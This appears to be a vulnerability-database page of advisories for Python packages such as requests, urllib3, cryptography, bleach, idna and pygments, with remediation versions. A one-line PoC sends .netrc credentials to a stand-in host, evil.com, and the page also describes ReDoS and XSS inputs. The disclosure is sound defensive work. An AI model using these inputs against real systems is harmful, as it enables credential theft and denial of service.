Find, fix and prevent vulnerabilities in your code.

Overview

Affected versions of this package are vulnerable to Infinite loop where an attacker can cause the application to stop responding by initiating a loop through functions affecting the Path module, such as joinpath, the overloaded division operator, and iterdir.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade zipp to version 3.19.1 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub PR

Overview

Affected versions of this package are vulnerable to Improper Certificate Validation through the NameChain DNS verification logic in src/rust/cryptography-x509-verification. An attacker can make a peer name, such as bar.example.com, validate against a wildcard leaf certificate like *.example.com even when an issuing certificate in the chain excludes that DNS subtree, causing improper certificate acceptance.

Notes

• The flaw affects X.509 path validation when DNS name constraints are present, and the leaf certificate uses a wildcard DNS SAN.
• The maintainers note that ordinary X.509 topologies, including those used by the Web PKI, are not affected, and exploitation requires an uncommon certificate hierarchy.

Remediation

Upgrade cryptography to version 46.0.6 or higher.

References

• GitHub Commit
• Maintainer's Advisory

Overview

Affected versions of this package are vulnerable to Out-of-bounds Write in the update function when non-contiguous buffers are provided as input. An attacker can cause memory corruption or unintended behavior by supplying specially crafted non-contiguous buffers to APIs that accept Python buffers.

Note: This is only exploitable if the Python version is greater than 3.11.

Remediation

Upgrade cryptography to version 46.0.7 or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Removal of Sensitive Information Before Storage or Transfer due to the improper handling of the Proxy-Authorization header during cross-origin redirects when ProxyManager is not in use. When the conditions below are met, including non-recommended configurations, the contents of this header can be sent in an automatic HTTP redirect.

Notes:

To be vulnerable, the application must be doing all of the following:

1. Setting the Proxy-Authorization header without using urllib3's built-in proxy support.

2. Not disabling HTTP redirects (e.g. with redirects=False)

3. Either not using an HTTPS origin server, or having a proxy or target origin that redirects to a malicious origin.

Workarounds

1. Using the Proxy-Authorization header with urllib3's ProxyManager.

2. Disabling HTTP redirects using redirects=False when sending requests.

3. Not using the Proxy-Authorization header.

Remediation

Upgrade urllib3 to version 1.26.19, 2.2.2 or higher.

References

• GitHub Commit
• GitHub Commit

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Open Redirect due to the retries parameter being ignored during PoolManager instantiation. An attacker can access unintended resources or endpoints by leveraging automatic redirects when the application expects redirects to be disabled at the connection pool level.

Note:

requests and botocore users are not affected.

Workaround

This can be mitigated by disabling redirects at the request() level instead of the PoolManager() level.

Remediation

Upgrade urllib3 to version 2.5.0 or higher.

References

• GitHub Commit

Overview

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data due to incorrect URL processing. An attacker could craft a malicious URL that, when processed by the library, tricks it into sending the victim's .netrc credentials to a server controlled by the attacker.

Note:

This is only exploitable if the .netrc file contains an entry for the hostname that the attacker includes in the crafted URL's "intended" part (e.g., example.com in http://example.com:@evil.com/).

PoC

requests.get('http://example.com:@evil.com/')

Remediation

Upgrade requests to version 2.32.4 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub Issue
• GitHub PR
• GitHub PR
• GitHub PR
• Seclists Full Disclosure
• Vulnerable Code

Overview

Affected versions of this package are vulnerable to Always-Incorrect Control Flow Implementation when making requests through a Requests Session. An attacker can bypass certificate verification by making the first request with verify=False, causing all subsequent requests to ignore certificate verification regardless of changes to the verify value.

Notes:

1. For requests <2.32.0, avoid setting verify=False for the first request to a host while using a Requests Session.

2. For requests <2.32.0, call close() on Session objects to clear existing connections if verify=False is used.

3. This vulnerability was initially fixed in version 2.32.0, which was yanked. Therefore, the next available fixed version is 2.32.2.

Remediation

Upgrade requests to version 2.32.2 or higher.

References

• GitHub Commit
• GitHub PR

Overview

bleach is a whitlist-based HTML sanitizing library that escapes or strips markup and attributes.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the LinkifyFilter.handle_email_addresses() function. An attacker can cause excessive CPU consumption by submitting specially crafted large non-email input to the email linkification path when the parse_email option is enabled. This is only exploitable if the consuming application enables the parse_email=True option and allows untrusted user input of sufficient size to reach the linkification process without input limits or timeouts.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

There is no fixed version for bleach.

References

• GitHub Advisory

Overview

bleach is a whitlist-based HTML sanitizing library that escapes or strips markup and attributes.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the clean() function. An attacker can execute arbitrary JavaScript code in the context of the user's browser by submitting crafted HTML containing a formaction attribute with a dangerous URI scheme such as javascript:. This is only exploitable if the application explicitly allows the formaction attribute on submit-capable controls such as <button> or <input> elements.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Affected environments

The following environments are susceptible to an XSS attack:

• Web servers
• Application servers
• Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

• Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
• Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
• Give users the option to disable client-side scripts.
• Redirect invalid requests.
• Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
• Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
• Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade bleach to version 6.4.0 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Release

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) through the idna.encode() function when processing very large domain name inputs that exploit the valid_contexto() function before length validation. This is triggered by arbitrarily large inputs that would not occur in normal usage, like "\u0660" * N or "\u30fb" * N + "\u6f22" for large N. Such values may be passed to the library if there is no preliminary input validation by the higher-level application.

Note: This is a bypass of the fix for the vulnerability described in CVE-2024-3651.

Workaround

This vulnerability can be mitigated by enforcing a maximum domain name length of 253 characters before passing input to the function.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade idna to version 3.15 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the AdlLexer class in the archetype.py file. A user can cause excessive resource consumption.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade pygments to version 2.20.0 or higher.

References

• GitHub Commit
• GitHub Issue
• Vulnerable Code

Overview

Affected versions of this package are vulnerable to Insecure Temporary File via the extract_zipped_paths function. An attacker can leverage unauthorized file replacement by pre-creating a malicious file in the system's temporary directory prior to extraction.

Note: Only applications that call extract_zipped_paths() directly are impacted.

Workaround

This vulnerability can be mitigated by setting the TMPDIR environment variable to a directory with restricted write access.

Remediation

Upgrade requests to version 2.33.0 or higher.

References

• GitHub Commit
• Maintainer's Advisory

MPL-2.0 license